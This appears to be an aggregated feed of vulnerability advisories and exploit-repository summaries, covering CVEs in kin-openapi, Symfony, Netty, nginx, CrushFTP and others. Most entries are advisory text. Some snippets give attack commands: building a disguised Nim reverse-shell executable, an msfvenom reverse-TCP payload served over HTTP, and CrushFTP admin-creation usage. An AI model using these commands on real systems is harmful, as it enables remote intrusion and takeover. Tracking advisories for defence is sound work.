CVE-2026-100347 kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.145.0, openapi3filter.ValidationHandler uses the routers/legacy router, which passes an unsupported or non-canonical HTTP method for an existing static path to openapi3.PathItem.GetOperation. The default branch of GetOperation...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Example: sudo apt install nim update the script accordingly nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler...

CVE-2026-21962

🚨 CVE-2026-21962 - Critical Authentication Bypass Vulnerability 🧾 Summary 🔥 A maximum severity 10.0 vulnerability enabling unauthenticated remote access to Oracle middleware systems. CVE ID : CVE-2026-21962 Severity : CRITICAL Published : 2026-01-20 Category : Authentication Bypass CWE : CWE-284...

CVE-2026-108082

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split parsed header values with a pattern whose token alternative also matched whitespace, followed by a ?!\s lookbehind. A run of...

HTTP-2-Rapid-Reset-DDos

HTTP/2 Rapid Reset DoS Attack Description This project demonstrates the HTTP/2 Rapid Reset Denial of Service DoS attack using a custom network topology created with Containernet. The attack exploits vulnerabilities in the HTTP/2 protocol to overwhelm a target server, rendering it unresponsive...

CVE-2025-0108

CVE-2025-0108 - PAN-OS PoC SCRIPT /!\ Disclaimer: This script is provided 'as is' and exclusively for educational purposes. Users are strongly advised to exercise caution and utilize it within the boundaries of legal and ethical considerations. Description Python vulnerability scanner designed to...

CVE-2025-31161

CVE-2025-31161 Wrote an exploit in Go for CVE-2025-31161 affecting crushFTP. Usage ./exploit -target http://localhost:8085 -user crushadmin -action create-admin -new-admin-user username -new-admin-pass pass...

CVE-2023-44487-HTTP-2-Rapid-Reset-Attack

PoC - CVE-2023-44487: HTTP/2 Rapid Reset Attack This repository contains a Proof of Concept PoC to demonstrate the exploitation of the vulnerability CVE-2023-44487 , also known as HTTP/2 Rapid Reset Attack. This vulnerability affects the HTTP/2 protocol and allows an attacker to overload web...

cve-2022-3218

Step 1 — Create a REAL payload Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Step 2 — Serve the payload via HTTP In the same directory: python3 -m http.server 80 Step 3 — Adjust the exploit Run like this: python3 CVE-2022-3218.py 172.20.7.185...

CVE-2025-55315

CVE-2025-55315 Proof-of-concept exploit for CVE-2025-55315 .NET HTTP Request Smuggling. Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers. 📊 Presentation View Interactive Prezi Presentatio...

struts2_cve-2017-5638

struts2cve-2017-5638 This is a sort of Java porting of the Python exploit at: https://www.exploit-db.com/exploits/41570/. This software is written to have no external dependencies. DISCLAIMER This tool is intended for security engineers and appsec guys for security assessments. Please use this to...

HTTP-2-RapidReset-CVE-2023-44487-Testlab

This repo is the source code of my docker lab, made for my thesis research...

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

EUVD-2026-102102

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split parsed header values with a pattern whose token alternative also matched whitespace, followed by a ?!\s lookbehind. A run of...

CVE-2026-108082 Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split parsed header values with a pattern whose token alternative also matched whitespace, followed by a ?!\s lookbehind. A run of...

CVE-2026-108082

The symfony/http-foundation component is vulnerable to a Regular Expression Denial of Service (ReDoS) in the HeaderUtils::split() function. The root cause is a regex pattern that matches whitespace followed by a lookbehind; an attacker can provide a long sequence of whitespace in the Cache-Contro...

CVE-2026-108082 Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split parsed header values with a pattern whose token alternative also matched whitespace, followed by a ?!\s lookbehind. A run of...

io.netty/netty-codec-http: Netty: Denial of Service via unbounded queue growth during HTTP request pipelining

A flaw was found in Netty. This vulnerability allows a remote, unauthenticated attacker to cause a Denial of Service DoS by sending numerous pipelined HTTP/1.1 requests over a single connection while withholding reads. Netty's HTTP server codec stores unanswered requests in an internal queue...

io.netty/netty-codec-http: Netty: Denial of Service via unbounded SPDY concurrent streams

A flaw was found in Netty. This vulnerability allows a remote attacker to cause a Denial of Service DoS by exhausting server memory. Because the SPDY session handler does not restrict the number of concurrent streams initiated by a remote peer, an attacker can transmit an excessive volume of stre...

io.netty/netty-codec-http: Netty: Denial of Service via unbounded concurrent SPDY streams

A flaw was found in Netty. SpdySessionHandler accepts an unlimited number of concurrent remote-initiated streams because localConcurrentStreams defaults to Integer.MAXVALUE and the handler provides no API to change it. A remote peer can open a SPDY connection and send a large number of SYNSTREAM...